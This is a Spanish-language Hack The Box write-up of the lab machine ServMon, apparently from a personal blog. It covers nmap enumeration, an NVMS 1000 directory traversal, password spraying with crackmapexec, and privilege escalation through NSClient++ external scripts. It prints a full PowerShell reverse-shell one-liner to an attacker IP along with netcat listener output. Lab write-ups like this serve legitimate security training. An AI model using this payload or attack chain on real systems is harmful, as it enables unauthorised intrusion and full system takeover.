This page looks best with JavaScript enabled

Hack The Box - ServMon

 ·  ☕ 10 min read

ServMon una maquina de HackTheBox, encontramos una vulnerabilidad en NVMS lo que nos permitio obtener un wordlist que utilizamos con CrackMapExec para realizar Password spraying y obtener acceso por SSH. Finalmente encontramos NSClient lo que nos llevo a realizar un Tunnel con SSH para obtener el puerto localmente y explotar una vulnerabilidad que nos dio acceso privilegiado.

Informacion de la Maquina

Nombre ServMon box_img_maker
OS Windows
Puntos 20
Dificultad Facil
IP 10.10.10.184
Maker

del_KZx497Ju

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5, 4.8, 7.4, 2.6, 5.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

NMAP

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: ftp (21), ss h(22), http (80), smb (139, 445), RPC (135).

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
# Nmap 7.91 scan initiated Wed May 12 19:53:55 2021 as: nmap -Pn -p21,22,80,135,139,445,5040,5666,6063,6699,7680,49664,49665,49666,49667,49668,49669,49670 -sC -sV -oN port_scan 10.10.10.184
Nmap scan report for 10.10.10.184 (10.10.10.184)
Host is up (0.096s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_01-18-20  12:05PM       <DIR>          Users
| ftp-syst:
|_  SYST: Windows_NT
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 b9:89:04:ae:b6:26:07:3f:61:89:75:cf:10:29:28:83 (RSA)
|   256 71:4e:6c:c0:d3:6e:57:4f:06:b8:95:3d:c7:75:57:53 (ECDSA)
|_  256 15:38:bd:75:06:71:67:7a:01:17:9c:5c:ed:4c:de:0e (ED25519)
80/tcp    open  http
| fingerprint-strings:
|   GetRequest, HTTPOptions, RTSPRequest:
|     HTTP/1.1 200 OK
|     Content-type: text/html
|     Content-Length: 340
|     Connection: close
|     AuthInfo:
|     <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|     <html xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <title></title>
|     <script type="text/javascript">
|     window.location.href = "Pages/login.htm";
|     </script>
|     </head>
|     <body>
|     </body>
|     </html>
|   NULL:
|     HTTP/1.1 408 Request Timeout
|     Content-type: text/html
|     Content-Length: 0
|     Connection: close
|_    AuthInfo:
|_http-title: Site doesn't have a title (text/html).
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
5040/tcp  open  unknown
5666/tcp  open  tcpwrapped
6063/tcp  open  tcpwrapped
6699/tcp  open  napster?
7680/tcp  open  pando-pub?
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=5/12%Time=609C6A98%P=x86_64-pc-linux-gnu%r(NULL
SF:,6B,"HTTP/1\.1\x20408\x20Request\x20Timeout\r\nContent-type:\x20text/ht
SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.
SF:org/1999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1
SF:999/xhtml\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE\x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">\r\n\r\n<html\x20xmlns=\"http://www\.w3\.org/1999/x
SF:html\">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text/javascript\">\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20</script>\r\n</head>\r\n<body>\r\n</body>\r\n</html>\r\n");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 4m17s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-05-13T00:00:59
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 12 19:57:10 2021 -- 1 IP address (1 host up) scanned in 195.09 seconds

FTP

En el servicio FTP encontramos dos archivos en las carpetas de los usuarios Nadine y Nathan.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:06PM       <DIR>          Nadine
01-18-20  12:08PM       <DIR>          Nathan
226 Transfer complete.
ftp> dir Nadine
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:08PM                  174 Confidential.txt
226 Transfer complete.
ftp> dir Nathan
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:10PM                  186 Notes to do.txt
226 Transfer complete.
ftp>

El primer archivo indica que la contraseña de Nathan esta en el escritorio y en el archivo Passwords.txt. En el segundo archivo se listan cosas por hacer.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
π ~/htb/servmon ❯ cat Confidential.txt
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

π ~/htb/servmon ❯ cat Notes\ to\ do.txt
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

SMB

Intentamos listar los recursos compartidos con una sesion nula pero no tenemos acceso.

1
2
3
π ~/htb/servmon ❯ cme smb 10.10.10.184 -u '' -p '' --shares
SMB         10.10.10.184    445    SERVMON          [*] Windows 10.0 Build 18362 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB         10.10.10.184    445    SERVMON          [-] ServMon\: STATUS_ACCESS_DENIED

NADINE - USER

HTTP

Encontramos un login de NVMS 1000.
image

NVMS 1000 - Directory Traversal

Realizamos una busqueda de vulnerabilidades en NVMS y vemos un exploit que indica una vulnerabilidad Directory Traversal, tambien vemos el exploit que realiza la “explotacion”.

En una de las notas indica que existe un archivo en el escritorio de uno de los usuarios, realizamos una solicitud a ese archivo y encontramos varias contraseñas.
image

Utilizamos crackmapexec con una pequeña lista de usuarios y contraseñas al servicio smb, logramos encontrar las correctas aunque no vemos ningun recurso en samba, por lo que verificamos en SSH y logramos ver que la contraseña es aceptada con el usuario nadine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
π ~/htb/servmon ❯ cme smb 10.10.10.184 -u users.txt -p passwords.txt
SMB         10.10.10.184    445    SERVMON          [*] Windows 10.0 Build 18362 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:L1k3B1gBut7s@W0rk STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:0nly7h3y0unGWi11F0l10w STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:IfH3s4b0Utg0t0H1sH0me STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nathan:Gr4etN3w5w17hMySk1Pa5$ STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nadine:1nsp3ctTh3Way2Mars! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nadine:Th3r34r3To0M4nyTrait0r5! STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [-] ServMon\nadine:B3WithM30r4ga1n5tMe STATUS_LOGON_FAILURE
SMB         10.10.10.184    445    SERVMON          [+] ServMon\nadine:L1k3B1gBut7s@W0rk
 π ~/htb/servmon ❯ cme smb 10.10.10.184 -u 'nadine' -p 'L1k3B1gBut7s@W0rk' --shares
SMB         10.10.10.184    445    SERVMON          [*] Windows 10.0 Build 18362 x64 (name:SERVMON) (domain:ServMon) (signing:False) (SMBv1:False)
SMB         10.10.10.184    445    SERVMON          [+] ServMon\nadine:L1k3B1gBut7s@W0rk
SMB         10.10.10.184    445    SERVMON          [+] Enumerated shares
SMB         10.10.10.184    445    SERVMON          Share           Permissions     Remark
SMB         10.10.10.184    445    SERVMON          -----           -----------     ------
SMB         10.10.10.184    445    SERVMON          ADMIN$                          Remote Admin
SMB         10.10.10.184    445    SERVMON          C$                              Default share
SMB         10.10.10.184    445    SERVMON          IPC$            READ            Remote IPC
π ~/htb/servmon ❯ cme ssh 10.10.10.184 -u 'nadine' -p 'L1k3B1gBut7s@W0rk'
SSH         10.10.10.184    22     10.10.10.184     [*] SSH-2.0-OpenSSH_for_Windows_7.7
SSH         10.10.10.184    22     10.10.10.184     [+] nadine:L1k3B1gBut7s@W0rk

Ingresamos por medio de SSH, logramos obtener la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

nadine@SERVMON C:\Users\Nadine>whoami
servmon\nadine

nadine@SERVMON C:\Users\Nadine>type Desktop\user.txt
924e7dffa2f7c2e53e3c9c1bc6211065

nadine@SERVMON C:\Users\Nadine>

PRIVILEGE ESCALATION

Realizamos una enumeracion de archivos, y encontramos que existe NSClient++, tras realizar una busqueda de exploits encontramos que es posible escalar privilegios utilizando un archivo .bat, además un exploit - Authenticated Remote Code Execution para ejecutar comandos remotamente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
PS C:\Program Files> dir


    Directory: C:\Program Files


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       08/04/2020     23:21                Common Files
d-----       08/04/2020     23:18                Internet Explorer
d-----       19/03/2019     04:52                ModifiableWindowsApps
d-----       16/01/2020     18:11                NSClient++
d-----       08/04/2020     23:09                Reference Assemblies

[... REDACTED ...]

Verificamos que NSCP estuviera corriendo, además verificamos en que puerto esta disponible. Tambien verificamos el archivo de configuracion donde encontramos la contraseña y vemos que solo estan “permitidas conexiones” desde 127.0.0.1.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
PS C:\Users\Nadine> Get-Service -Name nscp | Select-Object *


Name                : nscp
RequiredServices    :
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : True
DisplayName         : NSClient++ Monitoring Agent
DependentServices   :
MachineName         : .
ServiceName         : nscp
ServicesDependedOn  :
ServiceHandle       :
Status              : Running
ServiceType         : Win32OwnProcess
StartType           :
Site                :
Container           :
PS C:\Program Files> ps |findstr "nscp"
    442      31    18976      30632              2660   0 nscp
PS C:\Program Files> netstat -ano | findstr "2660"
  TCP    0.0.0.0:5666           0.0.0.0:0              LISTENING       2660
  TCP    0.0.0.0:5666           0.0.0.0:0              LISTENING       2660
  TCP    0.0.0.0:8443           0.0.0.0:0              LISTENING       2660
  TCP    [::]:5666              [::]:0                 LISTENING       2660
  UDP    0.0.0.0:51512          *:*                                    2660
  UDP    127.0.0.1:51511        *:*                                    2660
PS C:\Program Files> cd NSCLIENT++
PS C:\Program Files\NSCLIENT++> cat .\nsclient.ini
# If you want to fill this file with all available options run the following command:
#   nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
#   nscp settings --activate-module <MODULE NAME> --add-defaults
# For details run: nscp settings --help


; in flight - TODO
[/settings/default]

; Undocumented key
password = ew2x6SsGTxjRwXOT

; Undocumented key
allowed hosts = 127.0.0.1

Para realizar la explotacion primero obtuvimos el puerto 8443 localmente utilizando ssh.

1
ssh -L 8443:127.0.0.1:8443 nadine@10.10.10.184

Tras obtener el puerto localmente, obtuvimos la contraseña, utilizando nscp.exe.

1
2
3
PS C:\program files\nsclient++> .\nscp.exe web -- password --display
Current password: ew2x6SsGTxjRwXOT
PS C:\program files\nsclient++>

Tras analizar el exploit creamos dos archivos, nc64.exe, para ejecutar una shell inversa que a continuacion se explica de dos “formas”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
PS C:\Temp> dir

    Directory: C:\Temp

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       14/05/2021     01:39            680 exec.bat
-a----       14/05/2021     01:50          45272 nc64.exe

PS C:\Temp>

CheckExternalScripts [1]

Para la explotacion creamos un nuevo script en Settings.
image

Le agregamos un alias, el script o comando a ejecutar y guardamos.
image

Guardamos los cambios en la opcion Changes.
image

Nos dirigimos a Modules, activamos y desactivamos el modulo en el check, esto guardará y activará los scripts creados.
image

Luego nos dirigimos a Modulos > CheckExternalScripts > Queries donde observamos los scripts previamente creados.
image

El script que ejecuta el archivo C:\Temp\exec.bat que contiene una shell inversa para powershell no funcionó con esta “forma”.

Nos dirigimos al querie script_shell y Run, donde ejecutamos nuestro script.
image

Luego de esto nuestra shell inversa será ejecutada, con lo cual obtenemos una shell nt authority\system y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
π ~/htb/servmon ❯ sudo nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.3] from 10.10.10.184 [10.10.10.184] 52222
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
whoami
nt authority\system

C:\Program Files\NSClient++>type "C:\Users\Administrator\Desktop\root.txt"
type "C:\Users\Administrator\Desktop\root.txt"
0f4b1f505e07879477a1ebdd7bccb170

CheckExternalScripts [2]

Creamos una shell inversa con powershell y colocamos el puerto 80 a la escucha con netcat.

1
2
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.17', 80);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
# π ~/htb/servmon ❯ sudo nc -lvp 80

Para obtener una shell utilizamos unicamente el modulo CheckExternalScripts el cual contiene la opcion en configuracion del modulo para ejecutar comando. Nos dirigimos a modulos donde encontramos CheckExternalScripts y en configuraciones de /settings/external scripts/scripts/default agregamos en command nuestra shell inversa. Regresamos nuevamente al modulo CheckExternalScripts, desactivamos y activamos.
image
image
image
image

Lo cual ejecutará el comando previiamente creado (shell inversa) y con el logramos obtener una shell nt authority\system y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
π ~/htb/servmon ❯ sudo nc -lvp 80
listening on [any] 80 ...
connect to [10.10.14.17] from 10.10.10.184 [10.10.10.184] 56431
SHELL> whoami
nt authority\system
SHELL> cd C:\Users\Administrator\Desktop
SHELL> dir


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---       13/05/2021     06:55             34 root.txt


SHELL> type root.txt
034e2552b8082e806157bff19bab470c
Share on

sckull
WRITTEN BY
sckull
Pentester wannabe

HTB: ServMon